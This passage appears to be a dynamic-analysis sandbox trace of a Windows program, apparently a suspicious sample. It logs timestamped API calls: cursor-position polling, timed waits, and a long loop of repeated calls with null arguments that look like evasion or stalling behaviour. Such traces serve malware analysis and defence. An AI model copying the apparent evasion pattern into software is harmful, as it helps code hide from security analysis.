(hWnd=0x0) returned 0 [0127.671] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0127.671] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=964, y=496)) returned 1 [0127.671] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0130.948] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0130.948] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=964, y=496)) returned 1 [0130.948] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0134.154] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0134.155] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=964, y=496)) returned 1 [0134.276] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0137.375] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0137.375] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=519, y=527)) returned 1 [0137.375] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0140.551] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.551] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=519, y=527)) returned 1 [0140.551] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.551] LoadImageA (hInst=0x400000, name=0xc, type=0x0, cx=0, cy=0, fuLoad=0x0) returned 0x0 [0140.551] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0e0 | out: hHeap=0x3d0000) returned 1 [0140.551] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0140.551] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f0 | out: hHeap=0x3d0000) returned 1 [0140.551] DestroyWindow (hWnd=0x10132) returned 1 [0140.552] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0140.554] NtdllDefWindowProc_A (hWnd=0x10132, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0140.554] LoadBitmapA (hInstance=0x400000, lpBitmapName="PC") returned 0x0 [0140.554] ImageList_Add (himl=0x0, hbmImage=0x0, hbmMask=0x0) returned -1 [0140.554] WinWatchNotify () returned 0x0 [0140.554] timeGetTime () returned 0x1138600 [0140.554] WinWatchOpen () returned 0x2704e0 [0140.554] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.556] LockResource (hResData=0x0) returned 0x0 [0140.556] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.556] WinWatchNotify () returned 0x0 [0140.556] timeGetTime () returned 0x1138602 [0140.556] WinWatchOpen () returned 0x270580 [0140.556] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.556] LockResource (hResData=0x0) returned 0x0 [0140.556] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.556] WinWatchNotify () returned 0x0 [0140.556] timeGetTime () returned 0x1138602 [0140.556] WinWatchOpen () returned 0x2705c0 [0140.556] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.556] LockResource (hResData=0x0) returned 0x0 [0140.556] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.556] WinWatchNotify () returned 0x0 [0140.556] timeGetTime () returned 0x1138602 [0140.556] WinWatchOpen () returned 0x270620 [0140.556] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.556] LockResource (hResData=0x0) returned 0x0 [0140.556] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.556] WinWatchNotify () returned 0x0 [0140.556] timeGetTime () returned 0x1138602 [0140.556] WinWatchOpen () returned 0x270520 [0140.556] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.556] LockResource (hResData=0x0) returned 0x0 [0140.556] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.556] WinWatchNotify () returned 0x0 [0140.556] timeGetTime () returned 0x1138602 [0140.556] WinWatchOpen () returned 0x29e9f8 [0140.556] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.556] LockResource (hResData=0x0) returned 0x0 [0140.556] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.556] WinWatchNotify () returned 0x0 [0140.556] timeGetTime () returned 0x1138603 [0140.556] WinWatchOpen () returned 0x29e978 [0140.557] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.557] LockResource (hResData=0x0) returned 0x0 [0140.557] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.557] WinWatchNotify () returned 0x0 [0140.557] timeGetTime () returned 0x1138603 [0140.557] WinWatchOpen () returned 0x29ea38 [0140.557] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.557] LockResource (hResData=0x0) returned 0x0 [0140.557] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.557] WinWatchNotify () returned 0x0 [0140.557] timeGetTime () returned 0x1138603 [0140.557] WinWatchOpen () returned 0x29ea58 [0140.557] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.557] LockResource (hResData=0x0) returned 0x0 [0140.557] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.557] WinWatchNotify () returned 0x0 [0140.557] timeGetTime () returned 0x1138603 [0140.557] WinWatchOpen () returned 0x29ea78 [0140.557] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.557] LockResource (hResData=0x0) returned 0x0 [0140.557] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.557] WinWatchNotify () returned 0x0 [0140.557] timeGetTime () returned 0x1138603 [0140.557] WinWatchOpen () returned 0x29ea98 [0140.557] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.557] LockResource (hResData=0x0) returned 0x0 [0140.557] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.557] WinWatchNotify () returned 0x0 [0140.557] timeGetTime () returned 0x1138603 [0140.557] WinWatchOpen () returned 0x29eab8 [0140.557] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.557] LockResource (hResData=0x0) returned 0x0 [0140.557] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.557] WinWatchNotify () returned 0x0 [0140.557] timeGetTime () returned 0x1138603 [0140.557] WinWatchOpen () returned 0x29ead8 [0140.557] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.557] LockResource (hResData=0x0) returned 0x0 [0140.557] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.557] WinWatchNotify () returned 0x0 [0140.558] timeGetTime () returned 0x1138604 [0140.558] WinWatchOpen () returned 0x29eaf8 [0140.558] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.558] LockResource (hResData=0x0) returned 0x0 [0140.558] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.558] WinWatchNotify () returned 0x0 [0140.558] timeGetTime () returned 0x1138604 [0140.558] WinWatchOpen () returned 0x29eb18 [0140.558] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.558] LockResource (hResData=0x0) returned 0x0 [0140.558] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.558] WinWatchNotify () returned 0x0 [0140.558] timeGetTime () returned 0x1138604 [0140.558] WinWatchOpen () returned 0x29eb38 [0140.558] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.558] LockResource (hResData=0x0) returned 0x0 [0140.558] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.558] WinWatchNotify () returned 0x0 [0140.558] timeGetTime () returned 0x1138604 [0140.558] WinWatchOpen () returned 0x29eb58 [0140.558] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.558] LockResource (hResData=0x0) returned 0x0 [0140.558] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.558] WinWatchNotify () returned 0x0 [0140.558] timeGetTime () returned 0x1138604 [0140.558] WinWatchOpen () returned 0x29eb78 [0140.558] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.558] LockResource (hResData=0x0) returned 0x0 [0140.558] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.558] WinWatchNotify () returned 0x0 [0140.558] timeGetTime () returned 0x1138604 [0140.558] WinWatchOpen () returned 0x29eb98 [0140.558] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.558] LockResource (hResData=0x0) returned 0x0 [0140.558] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.558] WinWatchNotify () returned 0x0 [0140.558] timeGetTime () returned 0x1138604 [0140.558] WinWatchOpen () returned 0x29ebb8 [0140.558] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.558] LockResource (hResData=0x0) returned 0x0 [0140.558] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.558] WinWatchNotify () returned 0x0 [0140.559] timeGetTime () returned 0x1138605 [0140.559] WinWatchOpen () returned 0x29ebd8 [0140.559] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.559] LockResource (hResData=0x0) returned 0x0 [0140.559] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.559] WinWatchNotify () returned 0x0 [0140.559] timeGetTime () returned 0x1138605 [0140.559] WinWatchOpen () returned 0x29ebf8 [0140.559] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.559] LockResource (hResData=0x0) returned 0x0 [0140.559] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.559] WinWatchNotify () returned 0x0 [0140.559] timeGetTime () returned 0x1138605 [0140.559] WinWatchOpen () returned 0x29ec18 [0140.559] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.559] LockResource (hResData=0x0) returned 0x0 [0140.559] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.559] WinWatchNotify () returned 0x0 [0140.559] timeGetTime () returned 0x1138605 [0140.559] WinWatchOpen () returned 0x29ec38 [0140.559] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.559] LockResource (hResData=0x0) returned 0x0 [0140.559] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.559] WinWatchNotify () returned 0x0 [0140.559] timeGetTime () returned 0x1138605 [0140.559] WinWatchOpen () returned 0x29ec58 [0140.559] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.559] LockResource (hResData=0x0) returned 0x0 [0140.559] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.559] WinWatchNotify () returned 0x0 [0140.559] timeGetTime () returned 0x1138605 [0140.559] WinWatchOpen () returned 0x29ec78 [0140.559] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.559] LockResource (hResData=0x0) returned 0x0 [0140.559] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.559] WinWatchNotify () returned 0x0 [0140.559] timeGetTime () returned 0x1138606 [0140.559] WinWatchOpen () returned 0x29ec98 [0140.559] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.559] LockResource (hResData=0x0) returned 0x0 [0140.559] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.560] WinWatchNotify () returned 0x0 [0140.560] timeGetTime () returned 0x1138606 [0140.560] WinWatchOpen () returned 0x29ecb8 [0140.560] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.560] LockResource (hResData=0x0) returned 0x0 [0140.560] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.560] WinWatchNotify () returned 0x0 [0140.560] timeGetTime () returned 0x1138606 [0140.560] WinWatchOpen () returned 0x29ecd8 [0140.560] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.560] LockResource (hResData=0x0) returned 0x0 [0140.560] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.560] WinWatchNotify () returned 0x0 [0140.560] timeGetTime () returned 0x1138606 [0140.560] WinWatchOpen () returned 0x29ecf8 [0140.560] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.560] LockResource (hResData=0x0) returned 0x0 [0140.560] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.560] WinWatchNotify () returned 0x0 [0140.560] timeGetTime () returned 0x1138606 [0140.560] WinWatchOpen () returned 0x29ed18 [0140.560] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.560] LockResource (hResData=0x0) returned 0x0 [0140.560] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.560] WinWatchNotify () returned 0x0 [0140.560] timeGetTime () returned 0x1138606 [0140.560] WinWatchOpen () returned 0x29ed38 [0140.560] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.560] LockResource (hResData=0x0) returned 0x0 [0140.560] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.560] WinWatchNotify () returned 0x0 [0140.560] timeGetTime () returned 0x1138606 [0140.560] WinWatchOpen () returned 0x29ed58 [0140.560] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.560] LockResource (hResData=0x0) returned 0x0 [0140.560] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.560] WinWatchNotify () returned 0x0 [0140.560] timeGetTime () returned 0x1138607 [0140.560] WinWatchOpen () returned 0x29ed78 [0140.560] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.560] LockResource (hResData=0x0) returned 0x0 [0140.561] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.561] WinWatchNotify () returned 0x0 [0140.561] timeGetTime () returned 0x1138607 [0140.561] WinWatchOpen () returned 0x29ed98 [0140.561] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.561] LockResource (hResData=0x0) returned 0x0 [0140.561] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.561] WinWatchNotify () returned 0x0 [0140.561] timeGetTime () returned 0x1138607 [0140.561] WinWatchOpen () returned 0x29edb8 [0140.561] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.561] LockResource (hResData=0x0) returned 0x0 [0140.561] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.561] WinWatchNotify () returned 0x0 [0140.561] timeGetTime () returned 0x1138607 [0140.561] WinWatchOpen () returned 0x29edd8 [0140.561] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.561] LockResource (hResData=0x0) returned 0x0 [0140.561] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.561] WinWatchNotify () returned 0x0 [0140.561] timeGetTime () returned 0x1138607 [0140.561] WinWatchOpen () returned 0x29edf8 [0140.561] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.561] LockResource (hResData=0x0) returned 0x0 [0140.561] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.561] WinWatchNotify () returned 0x0 [0140.561] timeGetTime () returned 0x1138607 [0140.561] WinWatchOpen () returned 0x29ee18 [0140.561] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.561] LockResource (hResData=0x0) returned 0x0 [0140.561] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.561] WinWatchNotify () returned 0x0 [0140.561] timeGetTime () returned 0x1138607 [0140.561] WinWatchOpen () returned 0x29ee38 [0140.561] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.561] LockResource (hResData=0x0) returned 0x0 [0140.561] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.562] WinWatchNotify () returned 0x0 [0140.562] timeGetTime () returned 0x1138608 [0140.562] WinWatchOpen () returned 0x29ee58 [0140.562] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.562] LockResource (hResData=0x0) returned 0x0 [0140.562] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.562] WinWatchNotify () returned 0x0 [0140.562] timeGetTime () returned 0x1138608 [0140.562] WinWatchOpen () returned 0x29ee78 [0140.562] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.562] LockResource (hResData=0x0) returned 0x0 [0140.562] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.562] WinWatchNotify () returned 0x0 [0140.562] timeGetTime () returned 0x1138608 [0140.562] WinWatchOpen () returned 0x29ee98 [0140.562] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.562] LockResource (hResData=0x0) returned 0x0 [0140.562] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.562] WinWatchNotify () returned 0x0 [0140.562] timeGetTime () returned 0x1138608 [0140.562] WinWatchOpen () returned 0x29eeb8 [0140.562] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.562] LockResource (hResData=0x0) returned 0x0 [0140.562] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.562] WinWatchNotify () returned 0x0 [0140.562] timeGetTime () returned 0x1138608 [0140.562] WinWatchOpen () returned 0x29eed8 [0140.562] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.562] LockResource (hResData=0x0) returned 0x0 [0140.562] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.562] WinWatchNotify () returned 0x0 [0140.562] timeGetTime () returned 0x1138608 [0140.562] WinWatchOpen () returned 0x29eef8 [0140.562] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.562] LockResource (hResData=0x0) returned 0x0 [0140.562] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.562] WinWatchNotify () returned 0x0 [0140.562] timeGetTime () returned 0x1138609 [0140.562] WinWatchOpen () returned 0x29ef18 [0140.562] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.562] LockResource (hResData=0x0) returned 0x0 [0140.563] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.563] WinWatchNotify () returned 0x0 [0140.563] timeGetTime () returned 0x1138609 [0140.563] WinWatchOpen () returned 0x29ef38 [0140.563] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.563] LockResource (hResData=0x0) returned 0x0 [0140.563] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.563] WinWatchNotify () returned 0x0 [0140.563] timeGetTime () returned 0x1138609 [0140.563] WinWatchOpen () returned 0x29ef58 [0140.563] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.563] LockResource (hResData=0x0) returned 0x0 [0140.563] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.563] WinWatchNotify () returned 0x0 [0140.563] timeGetTime () returned 0x1138609 [0140.563] WinWatchOpen () returned 0x29ef78 [0140.563] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.563] LockResource (hResData=0x0) returned 0x0 [0140.563] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.563] WinWatchNotify () returned 0x0 [0140.563] timeGetTime () returned 0x1138609 [0140.563] WinWatchOpen () returned 0x29ef98 [0140.563] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.563] LockResource (hResData=0x0) returned 0x0 [0140.563] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.563] WinWatchNotify () returned 0x0 [0140.563] timeGetTime () returned 0x1138609 [0140.563] WinWatchOpen () returned 0x29efb8 [0140.563] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.563] LockResource 